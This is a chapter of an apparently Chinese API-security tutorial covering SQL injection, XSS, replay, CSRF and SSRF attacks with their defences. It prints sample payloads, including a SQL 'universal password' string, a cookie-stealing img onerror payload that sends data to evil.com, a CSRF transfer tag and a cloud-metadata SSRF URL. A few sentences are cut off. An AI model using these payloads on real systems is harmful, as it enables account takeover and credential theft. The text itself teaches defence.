3、接口安全威胁分析:常见API攻击
做接口治理这些年,我见过太多安全翻车案例了。说实话,很多团队上来就搞国密算法、搞证书,结果连最基础的SQL注入都没防住。你想想看,攻击者根本不需要破解你的加密,他只要在参数里塞个单引号,你的用户表可能就裸奔了。
这一章咱们就聊聊API最常见的几种攻击套路。我不是要吓唬人,而是想帮你建立一种“攻击者视角”——知道他们怎么打,才知道怎么防。
3.1 SQL注入:最老但也最致命的入口
SQL注入说白了就是攻击者把恶意SQL语句塞进输入框或URL参数里,让后端数据库去执行。我在项目中遇到过最离谱的一次,某系统登录接口直接把用户名拼进了SQL:
# 伪代码,千万别学这种
sql = "SELECT * FROM users WHERE name='" + username + "' AND pwd='" + password + "'"
攻击者输入admin' OR '1'='1,密码随便填个' OR '1'='1。好家伙,整张表都回来了。这就是经典的万能密码注入。
为什么数据库会乖乖执行?因为开发者把用户输入当成了代码的一部分,而不是数据。我个人的一条铁律:永远不要拼接SQL字符串。参数化查询是底线。
除了万能密码,还有更隐蔽的盲注(Blind Injection)。攻击者不直接拿数据,而是通过页面响应时间或真假判断来逐字猜解数据库内容。我曾经排查过一个奇怪的现象——某查询接口每次请求都慢0.5秒,后来发现攻击者用sleep()函数在做时间盲注。那段时间我们整个组都在跟日志搏斗。
nativeQuery=true,直接又回到了拼接的老路。所以,代码审查要盯死所有“原生SQL”调用。
3.2 XSS(跨站脚本攻击):狡猾的脚本注入
XSS和SQL注入有点类似,但目标不是数据库,而是浏览器。攻击者在接口返回的HTML里嵌入恶意JavaScript,当其他用户加载页面时,脚本就偷偷运行了。
举个例子,一个评论接口:
// 如果后端直接返回用户输入的评论
res.json({ content: userInput });
// 前端渲染时没有转义
document.getElementById("comment").innerHTML = content;
攻击者提交<script>alert(document.cookie)</script>,每个看评论的人都会弹出一个cookie。嗯,攻击者拿走cookie就能模拟登录,甚至把整个站点的都偷走。
我遇到过最蛋疼的一次,是某内部管理系统的搜索框,搜索词直接回显在标题里。有人塞了个<img src="x" onerror="fetch('http://evil.com/?c='+document.cookie)">——图片加载失败触发onerror,cookie就被外带了。这就是经典的存储型XSS。
| XSS类型 | 触发方式 | 典型场景 |
|---|---|---|
| 反射型 | 恶意链接,参数里带脚本 | 搜索接口、错误页面 |
| 存储型 | 脚本存在数据库,每次访问都执行 | 评论、留言、用户资料 |
| DOM型 | 前端代码漏洞,不经过后端 | URL hash、location属性 |
< 转 <)。前端渲染时但凡用innerHTML,一律用textContent替代。加上Content-Security-Policy头,能直接掐死内联脚本。
3.3 重放攻击:窃听者最安静的武器
重放攻击不像前两种那样“修改”数据,它只是原样发送一个已经合法的请求。攻击者截获了你在API里发送的加密报文,然后原封不动地重发一遍。为什么它能生效?因为你的接口没有区分“这个请求是不是第一次出现”。
记得有一次,我们给某金融客户做对账接口,没加nonce(一次性随机数)。攻击者截获了转账请求,连发了100次,结果账户被扣了100次。那时候我们才意识到,签名加密只能防篡改,防不了重放。
对抗重放攻击有三个经典套路:
- 时间戳 + 窗口验证:服务端检查请求时间戳,偏差超过(比如)60秒就拒绝。缺点:网络延迟可能误伤,而且攻击者在时间窗口内依然可以重放。
- Nonce一次性随机数:每次请求带一个随机数,服务端用完后记录,拒绝重复值。我习惯用Redis记录已用Nonce,过期时间设成时间窗口的2倍。
- 序号机制:客户端和服务端维护递增序号,上一个序号用过了就不再接受。比较适合长连接场景。
3.4 其他常见的API攻击
除了上面三个“主力”,还有几个攻击我建议你也了解一下:
- CSRF(跨站请求伪造):攻击者诱导用户点击链接,利用用户已登录的浏览器发请求。老招数是图片标签
<img src="https://bank.com/transfer?to=attacker&amount=10000">。防护:加CSRF 、验证Referer、用SameSite Cookie。 - SSRF(服务端请求伪造):攻击者让API去访问内部资源(比如内网的数据库、云元数据API)。我在某个文件下载接口见过,参数
url=http://169.254.169.254/latest/meta-data/,直接拿到了云服务器的临时密钥。防护:白名单域名、禁用内网IP、限制协议。 - 暴力破解:不解释,登录接口、验证码接口的重灾区。限流+验证码+失败锁定是基本操作。
本章知识图谱
下面这张图把常见API攻击按攻击目标做了分类,方便你建立整体认知:
你看,攻击者可以从三个层面切入:数据层(注入)、客户端(跨站)、链路层(欺骗/重放)。每一层都有对应的防御手段,你不需要一次全做,但至少要清楚自己的接口暴露在哪些风险里。
3.5 小结:攻击者视角 + 分层防御
说了这么多,其实归纳起来就一句话:把你的接口当成一个敞口的防护网,攻击者会从每一个洞往里钻。SQL注入和XSS靠的是“把用户输入当代码”——参数化查询和输出编码就是补这个洞的。重放攻击靠的是“请求可以重复使用”——Nonce和时间戳就是让每次请求独一无二的。
我个人习惯在做接口设计时就画一张攻击树,像上面的SVG一样,把可能的攻击路径标出来。然后逐一评估:当前接口能不能扛住?如果不能,是加参数过滤、加签名还是加限流?千万别等上线被打了再补——那个时候你已经暴露在日志里的异常数据中才能发现问题,代价太大了。
好了,这一章的内容就到这儿。下次遇到攻击,至少心里有数。